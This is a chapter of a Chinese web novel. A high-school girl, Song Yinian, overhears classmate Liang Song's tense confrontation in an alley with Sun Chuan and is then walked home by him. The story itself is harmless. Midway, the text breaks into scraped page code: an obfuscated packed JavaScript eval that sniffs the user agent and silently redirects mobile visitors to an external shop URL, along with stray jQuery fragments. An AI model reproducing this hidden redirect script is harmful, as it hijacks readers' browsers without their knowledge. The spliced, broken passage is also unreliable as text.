11.(没精修润色)
    宋宜年低声问薛敏阳:“梁颂呢?”

    薛敏阳往后看看,讳莫如深地回答:“和孙川一起走了。”

    宋宜年:“啊?”

    薛敏阳抿着嘴唇思考半晌:“他们好像有点不对劲,谁也不服谁一样。”

    宋宜年心里一惊,压低声音问薛敏阳:“他们起冲突了吗?”

    薛敏阳推了推眼镜:“嗯。”

    她朝宋宜年够了勾手。

    宋宜年坐会位置上,两人悄悄咬耳朵。

    今天宋宜年去了办公室之后,梁颂正在整理书包。

    从外面打篮球的孙川从他面前路过,明明过道还挺宽敞的,但还是要撞梁颂的肩膀。

    梁颂的化学书掉在了地上。

    他不耐地皱起眉,语气也没一丁点好气儿:“走路记得看路。”

    孙川身型顿住,回头看他:“你在管我?”

    梁颂:“谁稀罕管你。”

    下一秒,孙川就将手里的篮球朝梁颂砸了过去。

    宋宜年听到这里,不自觉吸了一口凉气,脱口问道:“那梁颂没事吧?”

    她问完,就看到薛敏阳直直地盯着自己。

    宋宜年意识到自己的失态,下意识地捋了捋头发,又推了推眼镜。

    看上去动作很忙。

    “他没事,”薛敏阳终究是什么也没问,“他直接用手臂挡了一下,篮球弹回去,砸到了孙川脸上。”

    宋宜年:“……”

    孙川霎时间就挂脸了,扬了扬下巴,对梁颂说,要出去谈谈。

    梁颂直接站起来,和他一起离开了。

    “谈谈”这种充满大人和社会属性的色彩,落到一群高中生身上,无外乎就是要做一些超越学生身份的事情。

    自然不会真的是对坐聊聊天。

    梁颂在学校里,看上去人际关系简单,除了爱睡觉和上课带手机外,也没什么其他不良爱好。

    宋宜年思考了下,他大概打不过练习体育出身的孙川。

    “我明白了,谢谢你,阳阳。”宋宜年站起身,在心里盘算着未来要怎么做。

    “宋宜年。”薛敏阳又叫了她一声,“你草稿本没拿。”

    “啊……哦。”

    宋宜年如梦初醒般,捞起桌面上的本子,走出教室。

    走着走着,步子愈发得快,变成了小跑,再然后,两条纤细但结实的小腿不断交错,直接跑了起来。

    宋宜年跑回办公室,将桌子上的书本子练习册一股脑地塞进书包,然后拽起书包向楼下狂奔。

    宋宜年知道,学校里有冲突的人会在哪里“谈谈”,学校后面有个小巷子,很少有人会来这里,恰好是“谈谈”的好地方。

    好学生和坏学生之间,其实在某些信息上并没有什么壁垒。

    学校就这么大,城市就这么大,听到什么八卦都不稀奇。

    宋宜年一边小跑过去,一边思考,自己去了会怎么样?会改变梁颂的处境吗?

    个时候是不是应该告诉老师?但是告诉老师,岂不是相当于连梁颂也出卖了。

    要不还是报警吧……可她今天出门前宋广平明确说明不回来接她放学,她连手机都没带。

    还有,孙川不会再气头上,连她也揍吧?!

    她不想挨揍啊。

    不断思考着,但腿比脑子快,在还没想好对策的时候,就已经抵达了那条小巷。

    小巷里很暗,只有巷口透进一些路灯的余晖。

    昏暗的光线,隐隐有一道颀长的身影。

    腰线高,腿很长,手臂自然垂下,看上去修长、矫健。

    是一个高挑的男生模样。

    他倚墙站着,后背挺得很直,仰着头,喉结很明显。

    这条巷子已经十分老旧,承载了许多高中生的冲动,墙上满是斑驳的痕迹。

    但他是光彩夺目的、簇新而吸引人目光的。

    宋宜年认出他是梁颂,或许是被这一刻惊人的安静与寂寥吸引,她停住脚步。

    于是,又并不出自主观意愿地变成了一个偷听者。

    “我这辈子都不会原谅你。”

    巷子深处,传来另外一道低沉又饱含怒气的声音:“梁颂,你什么时候能承认自己就是吸血鬼、害人精?”

    控诉如一口硕大无朋的箱子,朝宋宜年的脸砸过来。

    孙川为什么这么说梁颂?

    他怎么可以这么说梁颂呢?

    巷子里,梁颂从喉咙里发出笑声。

    笑得不清澈,不开怀。

    自嘲似的。

    “梁颂,你和你那些家里人一样,”孙川又开口,咬牙切齿似的,“自私又自大。”

    梁颂和孙川本就认识吗?

    宋宜年葱白的手指紧紧攥着书包背带,意识到,自己可能发现了惊天的秘密。

    梁颂忽地冷笑出声。

    “自私不对么?”他声音冰冷而低沉,含着许多以宋宜年现在的见识,还无法理解的情绪。

    “为自己着想,是错么?” 他又问道。

    巷子深处,一阵深深的沉默。

    那个瞬间,宋宜年恍然想到一些事情。

    比如,那天电话里,梁颂那边的尖叫声;开豪车招摇过市来接他的人;还有他常常皱起的眉头……

    他好像和她一般,有着许多许多烦恼。

    宋宜年攥着书包的手指愈发用力。

    恰恰是她知道自己身上有很多无法和别人说的隐秘的、大大小小的烦恼和情绪,所以设身处地地为梁颂着想。

    此时她并不应该出现。

    她转身,作势离开。

    一旁干枯的树丛里窜出来一道黑影,速度极快地移动到宋宜年脚边,哼哧哼哧地才喘着气。

    热息都扑在了宋宜年的腿上。

    宋宜年根本没看清那是什么,但汗毛倒竖。

    她往后挪了一步。

    “汪——”脚边的东西低吠一声。

    宋宜年没忍住,尖叫出声。

    巷子里有目光看过来。

    宋宜年往后退了退。

    “宋宜年?”梁颂的身型稍动,走出黑暗的巷子,站到她面前。

    那只在宋宜年脚边哈气的狗夹着尾巴逃走了。

    宋宜年仰头看他。

    并不明亮的光,将他的神色勾勒得分外柔和。

    “你怎么在这里?”梁颂问。

    谢天谢地,他不是追问自己到底听到了什么。

    宋宜年捏着书包背带的手松开了。

    “我看你没去上自习,又听阳阳说,你和孙川……和他……”宋宜年说得磕磕绊绊的,因为她看梁颂的脸上身上,分明没有任何伤痕。

    人家只是说出去“谈谈”,她就跑了过来,这里的关心未免太超过了一些。

    孙川不知道何时也从巷子里走出来,他也是高挑身材,四肢修长,是练长跑的好苗子。

    他走过来,和梁颂错开一个半个身位站着,离宋宜年更近一些。

    “呦,原来是学委啊。”他笑着,声音和姿势都吊儿郎当的。

    “孙川!”梁颂低声呵他。

    孙川哼了一声,耸肩勾住书包,冷眼睨梁颂:“人家都来找你了,还站这干什么?”

    梁颂:“你话这么多?”

    孙川又回头,目光在宋宜年和梁颂脸上转了一圈,又嗤笑一声,离开了。

    昏暗的巷子,并亮的灯光。

    春光隐隐溢出了几分,树上生着细嫩的芽,风光从巷子里绵延开去,校门、道路两侧的树木都覆盖一层嫩绿。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14184122|147311||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    黄黄的月亮就那样挂在树梢上。

    月光下的两人很安静。

    他们对视着,无声的,谁也没说什么。

    最后还是梁颂看了眼手机。

    “快下晚自习了,”梁颂问宋宜年,“还回去吗?”

    宋宜年摇了摇头:“我收拾好书包了,不回去了。”

    梁颂:“你要回家吗?”

    宋宜年:“好。”

    他问一句,她思考一下似的。

    梁颂又问:“你家里人来接你吗?”

    宋宜年点了点头,又摇头:“今天没人来接,我……我刚才忘了。”

    梁颂沉吟片刻:“那我送你回去吧。”

    宋宜年猛然睁大眼睛。

    她的目光藏在近视眼镜后面,被挡住了一些情绪,梁颂看着,感觉瞳仁黑黑的,亮亮的。

    “你家在哪里?”梁颂又问,“现在这个时间不好打车。”

    此时的北城还没有网约车,出租车司机知道二中放学的时间,嫌这里堵车,很少有车子这个时间点专门来这里。

    宋宜年说:“我家……我家住钢厂那里。”

    她说得慢吞吞的。

    钢厂那里,全北城都知道,那是曾经的下岗工人聚居区,老房子,供暖差,没物业。

    秋天有人在小区里晒白菜,冬天有人在楼道里腌咸菜,现在春天了,不再跟蔬菜过不去了,过两天就有人要在楼下圈地养鸡。

    属于少女的自尊心,宋宜年不想梁颂知道自己住在哪里,因此说得很慢。

    梁颂是从京城转过来的,从小也一直在外地生活,应当对北城不熟悉的。

    但他只“嗯”了声,抬腿先超左边出口走出去。

    不知道是不是歪打正着,就是钢厂的方向。

    那样长长的一条路,在少上了一节晚自习,比捡钱还开心的晚上,由不得宋宜年想太多。

    她小跑两步,追上梁颂。

    “你今天也没人接吗?”她问。

    梁颂:“嗯。”

    “那你家远吗?”宋宜年又问。

    梁颂:“不近,我跑回去。”

    “啊?”宋宜年震惊得嘴巴都能塞进一个鸭蛋,“考军校对身体要求很高吗?”

    梁颂:“嗯。”

    宋宜年:“那你跑回去不累吗?还怎么写作业。”

    宋宜年默了默:“你好像也不太写作业……”

    梁颂轻轻地笑了一声,借着夜风,将他的声音吹到她耳后,一阵火似的。

    宋宜年有些微微发烫。

    他们偶尔说话,偶尔沉默。

    月亮又往树梢后躲了躲,留下影子在地面上不断靠近。

    本来不算断的一条路,很快就走完了。

    厂区到了,里面的路不好走。

    宋宜年恋恋不舍地和梁颂道别:“我回家了。”

    梁颂这才收起对四周隐又探寻的目光:“好。”

    宋宜年:“你也回去吧。”

    梁颂:“好。”

    她双手拉着书包,又往前走了两步,一步步靠近破败的生活环境,又兀自墩柱脚步,回头。

    路面上还有男生长长的,安静的身影。

    梁颂并未离开。

    “我看着你走进去。”梁颂说。

    宋宜年尽力克制着,露出一个相对大方的微笑。

    “嗯嗯,晚安。”

    她转过头,又飞快地转回来,借着月色和一盏一闪一闪的路灯,两人又对上视线。

    这次,梁颂笑了,嘴唇稍稍向上翘。

    “什么事?”

    宋宜年:“今天的事,我也会保密。”

    她压低声音,有着少女的狡黠和灵动。

    月亮又往树梢里挪了挪。